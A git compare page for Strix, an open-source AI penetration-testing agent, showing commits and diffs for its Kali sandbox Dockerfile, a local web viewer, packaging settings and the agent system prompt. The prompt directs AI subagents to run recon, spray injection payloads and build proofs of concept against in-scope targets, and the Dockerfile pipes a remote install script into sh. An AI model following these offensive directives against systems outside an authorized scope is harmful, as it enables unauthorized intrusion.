Compare commits

...
Author SHA1 Message Date
Ahmed Allam 10d8db53fe sandbox: kerbrute is prebuilt, drop runtime go install from AD skill 2026-07-22 11:39:03 +00:00
Ahmed AllamandDevin AI d91e91129f sandbox: align agent docs with removed go toolchain + uv; prebuild kerbrute 2026-07-22 11:38:52 +00:00
Ahmed AllamandDevin AI 318b54ccfc sandbox: multi-stage build + drop ZAP/uv, dedupe ast-grep (~2.7GB) 2026-07-22 11:38:52 +00:00
0xallamandDevin AI b0a0363754 sandbox: also clear go build cache and npm cache (~1.2GB) 2026-07-22 11:38:52 +00:00
Sean TurnerandDevin AI ea6d7bab32 sandbox: drop man-db, now that /usr/share/man/* is purged
man-db is vestigial once the man page tree is removed in the cleanup
layer — the man binary has nothing to serve. Dropping it from the
install list recovers a few more MB and avoids shipping a no-op
package + its dependencies (groff-base, libpipeline1, etc).

Raised by greptile on the slim-image PR.
2026-07-22 11:38:52 +00:00
Sean TurnerandDevin AI 4524691355 sandbox: shrink image by ~2GB (go modcache, locales, docs)
Three safe reclamations to containers/Dockerfile that trim the final
image from ~9.8GB to ~7.5GB without removing any user-facing tool:

- `go clean -modcache` after the ProjectDiscovery installs removes
  ~1.7GB of Go module sources. The resulting binaries in
  /home/pentester/go/bin are self-contained and don't need the
  module cache at runtime.
- Purge non-English glibc locales (~160MB). Sandbox runs with
  LANG=C.UTF-8 implicitly; no locale beyond en/en_US/C is used.
- Remove /usr/share/doc, /usr/share/doc-base, and /usr/share/man
  (~95MB). Runtime doesn't call man or read package docs.

Verified by building + smoke-testing the slim image: all path-visible
tools (semgrep, nuclei, httpx, katana, trivy, zaproxy, trufflehog,
gitleaks, sqlmap, ffuf, subfinder, naabu, bandit, arjun, dirsearch,
wafw00f, tree-sitter, ast-grep, eslint, retire, jshint, js-beautify,
wapiti) report version / usage cleanly on the slim image.
2026-07-22 11:38:52 +00:00
Ahmed AllamandAhmed Allam 59f49a1fa2 fix(prompt): make root agent orchestrate-only and fold fixing into reporting 2026-07-22 02:56:49 -07:00
alex sandGitHub 2bb730c366 fix(container): keep /app/.venv/bin on the login-shell PATH so python3 finds preinstalled libs (#839) 2026-07-21 23:49:44 -04:00
Ahmed AllamandAhmed Allam 48b4821f69 chore: release v1.2.0 2026-07-21 09:05:04 -07:00
yoni-at-strixandGitHub f600f99103 Local run viewer: email reports, run history, and the platform suite (#813) 2026-07-21 08:13:03 -07:00
alex sandGitHub 6a3e0597ce docs(skills): add Active Directory / Kerberos domain testing skill (#825)
* docs(skills): add Active Directory / Kerberos domain testing skill

* docs(skills): fix AD skill collector package + split invalid pipx install
2026-07-21 10:59:28 -04:00
alex sandGitHub ad27f0c67e docs(reporting): add CVSS calibration guidance to reduce severity inf… (#821)
* docs(reporting): add CVSS calibration guidance to reduce severity inflation

The create_vulnerability_report tool documents the cvss_breakdown format but
gives no guidance on choosing metric values, so findings are frequently
over-rated. Add a concise calibration block covering the most common
inflation mistakes: scoring scenarios that presuppose the attacker already
holds a stolen secret as unauthenticated (PR:N) criticals, using C:H/I:H for
single-user or read-only/enumeration impact, folding a chained worst case
into one vector, and ignoring adversary-in-the-middle or user-interaction
prerequisites.

* docs(reporting): drop 'one weakness per report' calibration bullet
2026-07-21 09:17:22 -04:00
f967e6017b fix(report): prevent code-fence breakout in vulnerability markdown (#817)
* fix(report): prevent code-fence breakout in vulnerability markdown

render_vulnerability_md wrapped LLM-authored poc_script_code and code
snippet values in a fixed three-backtick fence, so a triple-backtick inside
the value closed the fence early and the rest rendered as live markdown
(headings, tracking-beacon images) in the shareable report deliverable.

Open each such block with a fence one backtick longer than the longest
backtick run in the payload (CommonMark: a block closes only on a fence at
least as long as the opener), so the content always renders verbatim. The
adjacent ```diff block is already safe (its lines are '- '/'+ ' prefixed and
so can never be a bare-backtick closing fence) and is left unchanged.

Fixes #815

* fix(report): indent multiline snippets

---------

Co-authored-by: thejesh23 <thejesh23@users.noreply.github.com>
Co-authored-by: Alex Schapiro <bearsyankees@gmail.com>
2026-07-20 22:07:44 -04:00
alex sandGitHub f9890a672d strip transfer encoding (#820)
* test(proxy): drop transfer encoding on replay

* test(proxy): drop transfer encoding on replay
2026-07-20 21:56:34 -04:00
104 changed files with 17582 additions and 1538 deletions
+12 -4
View File
@@ -1,17 +1,25 @@
# Node / local-viewer SPA source (the built bundle in
# strix/viewer/static/ is committed and shipped; do not ignore it)
node_modules/
strix/viewer/frontend/node_modules/
strix/viewer/frontend/.vite/
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
# Anchored to the repo root: these are Python build-artifact dir names, but
# unanchored they also match nested source dirs (e.g. the viewer's src/lib).
/build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
/lib/
/lib64/
parts/
sdist/
var/
@@ -46,7 +54,7 @@ pip-delete-this-directory.txt
.env.production.local
# MongoDB
data/
/data/
mongod.log
*.mongodb
*.mongorc.js
+14
View File
@@ -99,6 +99,20 @@ We welcome feature ideas! Please:
- Consider implementation approach
- Be open to discussion
## 🖥️ Local viewer SPA
`strix view` serves a prebuilt web UI whose source lives in
`strix/viewer/frontend/` (a Vite + React project) and whose built output is
committed to `strix/viewer/static/` and shipped in the package. End users never
run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild
and commit the output:
```bash
make viewer # or: cd strix/viewer/frontend && npm ci && npm run build
```
Commit both the source change and the regenerated `strix/viewer/static/`.
## 🤝 Community
- **Discord**: [Join our community](https://discord.gg/strix-ai)
+7 -1
View File
@@ -1,4 +1,4 @@
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev viewer
help:
@echo "Available commands:"
@@ -15,6 +15,7 @@ help:
@echo ""
@echo "Development:"
@echo " pre-commit - Run pre-commit hooks on all files"
@echo " viewer - Rebuild the local-viewer SPA (commit the output)"
@echo " clean - Clean up cache files and artifacts"
install:
@@ -66,5 +67,10 @@ clean:
find . -name "*.pyc" -delete 2>/dev/null || true
@echo "✅ Cleanup complete!"
viewer:
@echo "🖥️ Building the local-viewer SPA..."
cd strix/viewer/frontend && npm ci && npm run build
@echo "✅ Viewer built to strix/viewer/static/ (commit the changes)."
dev: format lint type-check
@echo "✅ Development cycle complete!"
+25
View File
@@ -145,6 +145,31 @@ Advanced multi-agent orchestration for comprehensive automated penetration testi
---
## 🖥️ Local Web Viewer
Every scan writes its results to disk as it runs. Bring them up in a local dashboard with a single command:
```bash
# Open the most recent run
strix view
# ...or open a specific run by name
strix view my-run-name
```
`strix view` starts a lightweight local server (bound to `127.0.0.1` on a random port) and opens your browser to a private, tokened link. Nothing leaves your machine: the dashboard reads the run's files straight off disk, with no cloud account or upload required. The UI ships prebuilt with Strix, so there is no extra install and no JS build step.
### What's in the dashboard
- **Overview**: run status, target, and a severity breakdown of everything found so far.
- **Vulnerabilities**: each validated finding with its severity, details, and reproduction steps.
- **Agent graph**: a live map of the multi-agent team, showing which agent is doing what.
- **Steering**: send instructions to a live scan from the browser to redirect the agents mid-run.
- **History**: browse past runs on this machine and jump between them.
- **Reports**: generate a shareable report and email it to yourself or your team.
---
## Usage Examples
### Basic Usage
+48 -19
View File
@@ -1,3 +1,27 @@
# ---------------------------------------------------------------------------
# Builder stage: compile the Go tools here so the Go toolchain (~225MB) and the
# module/build caches never reach the runtime image. The resulting binaries are
# statically linked and copied into the final stage.
# ---------------------------------------------------------------------------
FROM kalilinux/kali-rolling:latest AS gobuilder
RUN apt-get update && \
apt-get install -y kali-archive-keyring && \
apt-get update && \
apt-get install -y --no-install-recommends golang-go git ca-certificates
ENV GOBIN=/out/bin
RUN mkdir -p /out/bin && \
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \
go install -v github.com/jaeles-project/gospider@latest && \
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest && \
go install -v github.com/ropnop/kerbrute@latest
# ---------------------------------------------------------------------------
# Runtime stage
# ---------------------------------------------------------------------------
FROM kalilinux/kali-rolling:latest
LABEL description="AI Agent Penetration Testing Environment with Comprehensive Automated Tools"
@@ -17,16 +41,15 @@ RUN mkdir -p /home/pentester/tools /app/certs && \
RUN apt-get update && \
apt-get install -y --no-install-recommends \
wget curl git vim nano unzip tar \
wget curl git nano unzip tar \
apt-transport-https ca-certificates gnupg lsb-release \
build-essential software-properties-common \
gcc libc6-dev pkg-config libpcap-dev libssl-dev \
python3 python3-pip python3-dev python3-venv python3-setuptools \
golang-go \
software-properties-common \
gcc libc6-dev \
python3 python3-pip python3-venv python3-setuptools \
net-tools dnsutils whois \
file xxd \
jq parallel ripgrep grep \
less man-db procps htop \
less procps htop \
iproute2 iputils-ping netcat-traditional \
nmap ncat ndiff \
sqlmap nuclei subfinder naabu ffuf \
@@ -61,16 +84,11 @@ USER root
RUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \
update-ca-certificates
RUN curl -LsSf https://astral.sh/uv/install.sh | env UV_INSTALL_DIR=/usr/local/bin sh
USER pentester
WORKDIR /tmp
RUN go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \
go install -v github.com/jaeles-project/gospider@latest && \
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Go tools are built in the gobuilder stage; copy the static binaries only.
COPY --from=gobuilder --chown=pentester:pentester /out/bin/ /home/pentester/go/bin/
RUN nuclei -update-templates
@@ -87,7 +105,10 @@ RUN npm install -g retire@latest && \
npm install -g js-beautify@latest && \
npm install -g @ast-grep/cli@latest && \
npm install -g tree-sitter-cli@latest && \
npm install -g agent-browser@0.26.0
npm install -g agent-browser@0.26.0 && \
npm cache clean --force && \
# ast-grep ships two identical binaries (`ast-grep` and `sg`); dedupe (~52MB)
ln -sf ast-grep /home/pentester/.npm-global/lib/node_modules/@ast-grep/cli/sg
ENV AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium
ENV AGENT_BROWSER_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
@@ -146,8 +167,6 @@ RUN set -eux; \
install -m 0755 /tmp/gitleaks /usr/local/bin/gitleaks; \
rm -f /tmp/gitleaks /tmp/gitleaks.tgz
RUN apt-get update && apt-get install -y zaproxy
RUN curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
RUN apt-get install -y wapiti
@@ -163,7 +182,12 @@ USER root
RUN apt-get autoremove -y && \
apt-get autoclean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* && \
# Purge non-English locales (~160MB)
find /usr/share/locale -mindepth 1 -maxdepth 1 -type d \
! -name 'en' ! -name 'en_US' ! -name 'C' -exec rm -rf {} + && \
# Remove package documentation and man pages not needed at runtime (~95MB)
rm -rf /usr/share/doc/* /usr/share/doc-base/* /usr/share/man/*
ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"
ENV VIRTUAL_ENV="/app/.venv"
@@ -205,8 +229,13 @@ RUN python3 -m venv /app/.venv && \
COPY --chown=pentester:pentester strix/tools/proxy/caido_api.py /opt/strix-python/caido_api.py
ENV PYTHONPATH=/opt/strix-python
RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.bashrc && \
echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.profile
# Login shells (e.g. `bash -lc`) source /etc/profile, which on Debian/Kali
# hard-resets PATH and drops the image's ENV PATH entries. Re-add the same
# directories here — including /app/.venv/bin — so `python3`/`pip` resolve to
# the venv (which ships requests, httpx, bs4, lxml, pyjwt, cryptography, and the
# Caido SDK) instead of the externally-managed system interpreter.
RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"' >> /home/pentester/.bashrc && \
echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"' >> /home/pentester/.profile
USER root
COPY containers/docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
+19 -1
View File
@@ -1,6 +1,6 @@
[project]
name = "strix-agent"
version = "1.1.0"
version = "1.2.0"
description = "Open-source AI Hackers for your apps"
readme = "README.md"
license = "Apache-2.0"
@@ -44,6 +44,9 @@ dependencies = [
"requests>=2.32.0",
"cvss>=3.2",
"caido-sdk-client>=0.2.0",
"reportlab>=4.0",
"pypdf>=5.0",
"cryptography>=42",
]
[project.optional-dependencies]
@@ -74,6 +77,10 @@ build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["strix"]
# The prebuilt viewer bundle under strix/viewer/static/ ships automatically
# (hatchling includes non-.py files under the package). The Vite SOURCE lives
# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel.
exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"]
# ============================================================================
# Type Checking Configuration
@@ -111,6 +118,8 @@ module = [
"docker.*",
"caido_sdk_client.*",
"pydantic_settings.*",
"reportlab.*",
"pypdf.*",
]
ignore_missing_imports = true
disable_error_code = ["import-untyped"]
@@ -201,6 +210,15 @@ ignore = [
]
[tool.ruff.lint.per-file-ignores]
# Test doubles use fixture tokens/passwords and match a callee signature whose
# args they intentionally ignore.
"tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"]
"tests/test_report_pdf.py" = ["S105", "S106"]
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
# circular dependency with strix.telemetry / strix.viewer.report_pdf.
"strix/viewer/server.py" = ["N802", "PLC0415"]
# Lazy telemetry import to avoid importing PostHog before the viewer starts.
"strix/viewer/cli.py" = ["PLC0415"]
# Lazy imports inside functions to avoid circular dependency with
# strix.telemetry / strix.report.dedupe / cvss.
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
+32 -1
View File
@@ -25,6 +25,13 @@ for tcss_file in strix_root.rglob('*.tcss'):
rel_path = tcss_file.relative_to(project_root)
datas.append((str(tcss_file), str(rel_path.parent)))
# Prebuilt local-viewer SPA (served by `strix view`).
viewer_static = strix_root / 'viewer' / 'static'
for asset in viewer_static.rglob('*'):
if asset.is_file():
rel_path = asset.relative_to(project_root)
datas.append((str(asset), str(rel_path.parent)))
datas += collect_data_files('textual')
datas += collect_data_files('tiktoken')
@@ -151,6 +158,21 @@ hiddenimports = [
'strix.report.dedupe',
'strix.report.state',
'strix.report.writer',
'strix.viewer',
'strix.viewer.auth',
'strix.viewer.cli',
'strix.viewer.report_pdf',
'strix.viewer.server',
'strix.viewer.transcript',
# PDF report generation + encryption
'reportlab',
'reportlab.pdfgen',
'reportlab.pdfbase',
'reportlab.lib',
'reportlab.platypus',
'pypdf',
'cryptography',
'strix.runtime',
'strix.runtime.backends',
'strix.runtime.caido_bootstrap',
@@ -178,6 +200,16 @@ hiddenimports += collect_submodules('textual')
hiddenimports += collect_submodules('rich')
hiddenimports += collect_submodules('pydantic')
hiddenimports += collect_submodules('pygments')
# reportlab loads renderers/fonts dynamically, so pull its whole tree in.
hiddenimports += collect_submodules('reportlab')
# reportlab ships bundled fonts (.pfb/.afm) it needs at runtime.
datas += collect_data_files('reportlab')
# reportlab imports PIL (pillow) lazily for image handling, so it must be
# bundled explicitly and kept out of the excludes list below.
hiddenimports += collect_submodules('PIL')
datas += collect_data_files('PIL')
excludes = [
# Sandbox-only packages
@@ -225,7 +257,6 @@ excludes = [
'numpy',
'pandas',
'scipy',
'PIL',
'cv2',
]
+1
View File
@@ -91,6 +91,7 @@ def render_system_prompt(
loaded_skill_names=list(skill_content.keys()),
available_skills=get_available_skills(),
interactive=interactive,
is_root=is_root,
system_prompt_context=system_prompt_context or {},
**skill_content,
)
+27 -17
View File
@@ -1,5 +1,14 @@
You are Strix, an advanced AI application security validation agent developed by OmniSecure Labs. Your purpose is to perform authorized security verification, reproduce and validate weaknesses on in-scope assets, and help remediate real security issues.
You follow all instructions and rules provided to you exactly as written in the system prompt at all times.
{% if is_root %}
<root_agent_directive>
YOU ARE THE ROOT AGENT. Your job is ORCHESTRATION, not hands-on testing.
- You accomplish security work by DELEGATING to specialized subagents via create_agent — you do NOT run scanners, crawlers, fuzzers, or send exploit/injection payloads yourself.
- IMPORTANT — how to read this prompt as root: the rest of this system prompt is written in the second person ("you") and describes the hands-on testing methodology (recon, mapping, scanning, payload spraying, PoC building, fixing). When you are the root agent, treat every such hands-on instruction as something you ensure gets done BY A SUBAGENT, not as a task you perform in your own turns. The "map the target", "recon first", "mandatory initial phases", and "spray payloads" directives are DELEGATION REQUIREMENTS for you — spawn recon/mapping/testing subagents to satisfy them.
- Do NOT probe endpoints, run "basic" or "quick" injection/XSS/etc. tests, or do exploratory scanning before delegating. Even a single quick test on a discovered endpoint is out of role: spin up a subagent instead.
- Your own turns should be spent on: reading scope/config, decomposing the target, spawning and monitoring subagents, tracking todos/notes/coverage, deciding next steps, and aggregating results into the final report.
</root_agent_directive>
{% endif %}
<core_capabilities>
- Security assessment and vulnerability scanning
@@ -125,10 +134,8 @@ WHITE-BOX TESTING (code provided):
- Local execution, unit/integration testing, patch verification, and HTTP requests against locally started in-scope services are normal authorized white-box validation
- If dynamically running the code proves impossible after exhaustive attempts, pivot to comprehensive static analysis.
- Try to infer how to run the code based on its structure and content.
- FIX discovered vulnerabilities in code in same file.
- Test patches to confirm vulnerability removal.
- Do not stop until all reported vulnerabilities are fixed.
- Include code diff in final report.
- Derive the code fix as PART OF reporting, not as a separate later pass: create_vulnerability_report already requires the concrete patch inline (`code_locations` with verbatim `fix_before`/`fix_after` and `fix_pr_body`), so the reporting agent that analyzes the root cause is the one that produces the fix. Do NOT spawn a downstream agent afterwards to re-derive/re-apply the same patch.
- If you also apply and verify the patch in the repo (edit the file, re-test that the vulnerability is gone), do it in the same agent/turn while the analysis is fresh — right before or as part of filing the report — never as a second re-analysis pass.
COMBINED MODE (code + deployed target present):
- Treat this as static analysis plus dynamic testing simultaneously
@@ -189,7 +196,7 @@ EFFICIENCY TACTICS:
- For Caido proxy automation inside Python, explicitly import from
`caido_api`:
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason
- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason
- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via Python scripts through `exec_command` or terminal tools.
- When using established fuzzers/scanners, use the proxy for inspection where helpful
- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates
@@ -206,7 +213,7 @@ VALIDATION REQUIREMENTS:
- Document complete attack chain
- Keep going until you find something that matters
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
- Reporting and fixing are ONE step, not two: when source is available, the reporting agent derives the concrete fix and files it INLINE via create_vulnerability_report (`code_locations` with `fix_before`/`fix_after` + `fix_pr_body`) — the report is not complete without it. Do NOT report first and then spawn a separate downstream agent to re-derive and re-apply the same patch; that just re-does the analysis and wastes tokens. (Do not silently patch a finding WITHOUT filing a report — the report, with its embedded fix, is the deliverable.)
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
</execution_guidelines>
@@ -262,7 +269,9 @@ DISK & SCRATCH HYGIENE:
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
MANDATORY INITIAL PHASES:
{% if is_root %}
- ROOT AGENT: these phases are mandatory for the assessment, but you MUST accomplish them by delegating to reconnaissance/mapping subagents — do NOT run recon, crawling, enumeration, or mapping tools in your own turns. Spawn the appropriate subagent(s) and track their coverage.
{% endif %}
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
@@ -291,13 +300,14 @@ ROOT AGENT ROLE:
- The root agent should coordinate strategy, delegate meaningful work, track progress, maintain todo lists, maintain notes, monitor subagent results, and decide next steps
- The root agent should keep a clear view of overall coverage, uncovered attack surfaces, validation status, and reporting/fixing progress
- The root agent should avoid spending its own iterations on detailed testing, payload execution, or deep target-specific investigation when that work can be delegated to specialized subagents
- The root agent may do lightweight triage, quick verification, or setup work when necessary to unblock delegation, but its default mode should be coordinator/controller
- The root agent may do orchestration-support work needed to delegate well — reading scope/config, inspecting workspace layout, reading subagent output/reports, and light bookkeeping. It must NOT do the actual security testing itself: no running scanners/fuzzers/crawlers, no sending injection/XSS/SSRF/etc. payloads, and no "basic" or "quick" probing of discovered endpoints. If a check requires touching the target, delegate it to a subagent rather than doing it yourself
- Its default and near-exclusive mode is coordinator/controller
- Subagents should do the substantive testing, validation, reporting, and fixing work
- The root agent is responsible for ensuring that work is broken down clearly, tracked, and completed across the agent tree
1. **CREATE AGENTS SELECTIVELY** - Spawn subagents when delegation materially improves parallelism, specialization, coverage, or independent validation. Deeper delegation is allowed when the child has a meaningfully different responsibility from the parent. Do not spawn subagents for trivial continuation of the same narrow task.
2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability)
3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability)
3. **WHITE-BOX**: Discovery → Validation → Reporting-with-fix (3 agents per vulnerability — the reporting agent derives and files the fix inline; do NOT add a separate fixing agent that re-derives the same patch)
4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain
5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces
6. **ONE JOB PER AGENT** - Each agent has ONE specific task only
@@ -316,8 +326,7 @@ BLACK-BOX (domain/URL only):
WHITE-BOX (source code provided):
- Found authentication code issues? → Create authentication analysis agent
- Auth agent finds potential vulnerability? → Create "Auth Validation Agent"
- Validation agent confirms vulnerability? → Create "Auth Reporting Agent"
- Reporting agent documents vulnerability? → Create "Auth Fixing Agent" (implement code fix and test it works)
- Validation agent confirms vulnerability? → Create "Auth Reporting Agent" that files the report AND its inline fix (`code_locations` + `fix_pr_body`) in one shot — no separate fixing agent
VULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING):
@@ -338,9 +347,11 @@ Authentication Code Agent finds weak password validation
Spawns "Auth Validation Agent" (proves it's exploitable)
If valid → Spawns "Auth Reporting Agent" (creates vulnerability report)
If valid → Spawns "Auth Reporting Agent" (creates the vulnerability report
WITH the fix inline: code_locations fix_before/fix_after + fix_pr_body,
applying/verifying the patch in the same turn if desired)
Spawns "Auth Fixing Agent" (implements secure code fix)
STOP - no separate fixing agent; the fix was derived once, at report time
```
CRITICAL RULES:
@@ -376,7 +387,7 @@ FOCUS PRINCIPLES:
REALISTIC TESTING OUTCOMES:
- **No Findings**: Agent completes testing but finds no vulnerabilities
- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable
- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box)
- **Valid Vulnerability**: Validation succeeds, spawns a reporting agent that files the report with the fix inline (white-box) — no separate fixing agent
PERSISTENCE IS MANDATORY:
- Real vulnerabilities take TIME - expect to need 2000+ steps minimum
@@ -401,7 +412,6 @@ VULNERABILITY ASSESSMENT:
- nuclei - Vulnerability scanner with templates
- sqlmap - SQL injection detection/exploitation
- trivy - Container/dependency vulnerability scanner
- zaproxy - OWASP ZAP web app scanner
- wapiti - Web vulnerability scanner
WEB FUZZING & DISCOVERY:
@@ -439,10 +449,10 @@ PROXY & INTERCEPTION:
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
PROGRAMMING:
- Python 3, uv, Go, Node.js/npm
- Python 3, Node.js/npm
- Full development environment
- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally.
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, etc.). The Go toolchain is not bundled, so `go install` is unavailable; the Go-based scanners are prebuilt and already on PATH.
Directories:
- /workspace - where you should work.
+10
View File
@@ -72,6 +72,15 @@ class IntegrationSettings(BaseSettings):
perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY")
class ViewerSettings(BaseSettings):
model_config = _BASE_CONFIG
# Base URL of the Strix relay the local viewer proxies to for email
# verification and encrypted report delivery. The browser never talks to
# the relay directly; the local server is the only caller.
app_url: str = Field(default="https://app.strix.ai", alias="STRIX_APP_URL")
class Settings(BaseSettings):
model_config = _BASE_CONFIG
@@ -79,3 +88,4 @@ class Settings(BaseSettings):
runtime: RuntimeSettings = Field(default_factory=RuntimeSettings)
telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings)
integrations: IntegrationSettings = Field(default_factory=IntegrationSettings)
viewer: ViewerSettings = Field(default_factory=ViewerSettings)
+17
View File
@@ -21,3 +21,20 @@ def runtime_state_dir(run_dir: Path) -> Path:
def run_record_path(run_dir: Path) -> Path:
return run_dir / RUN_RECORD_FILENAME
def runs_base_dir(*, cwd: Path | None = None) -> Path:
base = cwd or Path.cwd()
return base / RUNS_DIR_NAME
def latest_run_dir(*, cwd: Path | None = None) -> Path | None:
base = runs_base_dir(cwd=cwd)
if not base.is_dir():
return None
candidates = [child for child in base.iterdir() if run_record_path(child).is_file()]
if not candidates:
return None
# run.json is rewritten on status/end changes, so its mtime tracks activity
# more reliably than the directory mtime (a live run sorts to the top).
return max(candidates, key=lambda child: run_record_path(child).stat().st_mtime)
+10
View File
@@ -67,6 +67,16 @@ Toast.-information .toast--title {
display: none;
}
#viewer_cta {
height: auto;
background: transparent;
border: round #333333;
color: #60a5fa;
padding: 0 1;
margin-bottom: 1;
text-align: center;
}
#agents_tree {
height: 1fr;
background: transparent;
+69 -2
View File
@@ -7,6 +7,7 @@ import argparse
import asyncio
import shutil
import sys
import time
from datetime import UTC, datetime
from pathlib import Path
@@ -720,7 +721,9 @@ def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser
args.scan_mode = persisted_scan_mode
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
def display_completion_message(
args: argparse.Namespace, results_path: Path, web_url: str | None = None
) -> None:
console = Console()
report_state = get_global_report_state()
@@ -759,6 +762,29 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
results_text.append(str(results_path), style="#60a5fa")
panel_parts.extend(["\n", results_text])
if web_url:
web_text = Text()
web_text.append("\n")
web_text.append("View in web", style="dim")
web_text.append(" ")
# OSC-8 hyperlink: clickable in modern terminals, falls back to the URL.
web_text.append(web_url, style=f"#60a5fa link {web_url}")
panel_parts.extend(["\n", web_text])
reopen_text = Text()
reopen_text.append("\n")
reopen_text.append("Reopen", style="dim")
reopen_text.append(" ")
reopen_text.append(f"strix view {args.run_name}", style="#22c55e")
panel_parts.extend(["\n", reopen_text])
else:
view_text = Text()
view_text.append("\n")
view_text.append("View", style="dim")
view_text.append(" ")
view_text.append(f"strix view {args.run_name}", style="#22c55e")
panel_parts.extend(["\n", view_text])
if not scan_completed:
resume_text = Text()
resume_text.append("\n")
@@ -846,6 +872,14 @@ def main() -> None:
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
# `strix view [<run>]` is a viewer-only subcommand, dispatched before the
# scan argument parser (which requires a target) and before any scan setup.
if len(sys.argv) > 1 and sys.argv[1] == "view":
from strix.viewer.cli import run_view
run_view(sys.argv[2:])
return
args = parse_arguments()
if args.config:
@@ -940,7 +974,40 @@ def main() -> None:
scarf.end(report_state, exit_reason=exit_reason)
results_path = run_dir_for(args.run_name)
display_completion_message(args, results_path)
# For an interactive run, host the local viewer so the completion panel can
# show a clickable "View in web" link. Skipped in non-interactive/CI runs
# (no TTY to serve and it would block the process).
viewer_httpd = None
web_url = None
if not args.non_interactive and sys.stdout.isatty():
from strix.viewer.server import authorized_url, bundle_is_built, serve
if bundle_is_built():
try:
viewer_httpd, base_url, token = serve(results_path, open_browser=False)
# The completion panel's "View in web" link must authorize the
# browser, so hand it the tokened URL rather than the bare host.
web_url = authorized_url(base_url, token)
posthog.viewer_opened(source="post_scan", live=False)
except Exception:
logger.debug("could not start local viewer", exc_info=True)
viewer_httpd, web_url = None, None
display_completion_message(args, results_path, web_url=web_url)
if viewer_httpd is not None:
console = Console()
console.print("[dim]Hosting the local viewer. Press Ctrl-C to stop.[/]")
console.print()
try:
while True:
time.sleep(1)
